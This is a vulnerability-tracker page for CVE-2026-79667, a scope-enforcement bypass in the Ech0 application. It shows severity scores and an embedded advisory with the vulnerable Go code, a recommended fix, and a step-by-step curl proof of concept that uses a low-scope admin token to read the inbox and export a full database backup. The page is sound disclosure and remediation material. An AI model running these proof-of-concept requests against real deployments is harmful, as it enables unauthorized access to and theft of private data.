CVE-2026-79667

highpriority · track · 30EPSS 0.003 · 25 %ileUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.32% (25th) EPSS
CVSS 7.6 · high
Is it mine?
2 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.6
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.1–7.6

v3.17.6highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:Lprimary · disclosure@vulncheck.comexploitability 2.8 · impact 4.7
v3.17.6highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:Lsecondary · OSV
v4.07.2highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.05.1mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-4h9q-p5j4-xvvhEch0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export2026-04-10ghsa · osvUS

    ## Summary Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended. ## Impact An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backup/export?token=...`, which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive. ## Details The issue is caused by a split authorization model: - `JWTAuthMiddleware()` authenticates the token and stores scope metadata in the viewer context - `RequireScopes(...)` enforces least privilege, but only when a route explicitly adds it - several privileged routes omit `RequireScopes(...)` - multiple service methods then authorize using only `user.IsAdmin` `internal/middleware/scope.go` shows that scope enforcement is opt-in: ```go func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } if v.TokenType() != authModel.TokenTypeAccess { ... } if !containsValidAudience(v.Audience()) { ... } if !containsAllScopes(v.Scopes(), scopes) { ... } ctx.Next() } } ``` Representative privileged routes omit `RequireScopes(...)`, for example `internal/router/inbox.go`: ```go func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList()) appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox()) appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead()) appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox()) appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox()) } ``` Other source-confirmed unguarded privileged surfaces include: - `/api/panel/comments*` - `/api/addConnect` - `/api/delConnect/:id` - `/api/migration/*` - `/api/backup/export` Service-layer authorization often checks only admin role. For example, `internal/service/inbox/inbox.go`: ```go func (inboxService *InboxService) ensureAdmin(ctx context.Context) error { userid := viewer.MustFromContext(ctx).UserID() user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid) if err != nil { return err } if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } return nil } ``` The backup export path is a stronger variant because it discards token metadata before authorization. `internal/handler/backup/backup.go` reparses a query token and rebuilds a bare viewer from only the user ID: ```go func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { token := ctx.Query("token") claims, err := jwtUtil.ParseToken(token) if err != nil { ... } reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid)) if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... } return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS} }) } ``` This drops token type, scopes, audience, and token ID before the backup service runs. ## Proof of concept ### 1. Start the app ```bash docker run -d \ --name ech0 \ -p 6277:6277 \ -v /opt/ech0/data:/app/data \ -e JWT_SECRET="Hello Echos" \ sn0wl1n/ech0:latest ``` ### 2. Initialize an owner account ```bash curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass","email":"owner@example.com"}' ``` ### 3. Log in as the owner and mint a low-scope access token ```bash owner_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/login" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) low_scope_admin_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $owner_token" \ -d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) ``` ### 4. Use the low-scope token on an unguarded admin route ```bash curl -sS "http://127.0.0.1:6277/api/inbox" \ -H "Authorization: Bearer $low_scope_admin_token" ``` Observed response: ```text {"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}} ``` ### 5. Use the same low-scope token on backup export ```bash curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token" ``` Observed response: <img width="585" height="111" alt="image" src="https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c" /> Try to unzip we will have log and database file: ``` ->% unzip a.zip -d a Archive: a.zip inflating: a/app.log inflating: a/ech0.db ``` ## Recommended fix Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims. Suggested route-level changes: ```go import ( "github.com/lin-snow/ech0/internal/handler" "github.com/lin-snow/ech0/internal/middleware" authModel "github.com/lin-snow/ech0/internal/model/auth" ) func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( "/inbox", middleware.RequireScopes(authModel.ScopeAdminSettings), h.InboxHandler.GetInboxList(), ) // Apply the same pattern to the remaining inbox routes. } func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( "/backup/export", middleware.RequireScopes(authModel.ScopeAdminSettings), h.BackupHandler.ExportBackup(), ) } ``` Suggested handler fix for `internal/handler/backup/backup.go`: ```go func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil { return res.Response{ Msg: "", Err: err, } } return res.Response{ Msg: commonModel.EXPORT_BACKUP_SUCCESS, } }) } ``` The same principle should be applied to other privileged services: do not authorize only on `user.IsAdmin`; also validate scopes carried by access tokens.

  • GO-2026-5123Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export in github.com/lin-snow/ech02026-06-25vendor · osvUS

    Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.3.5.

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-08-25modified 2026-08-31
08

references (2) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan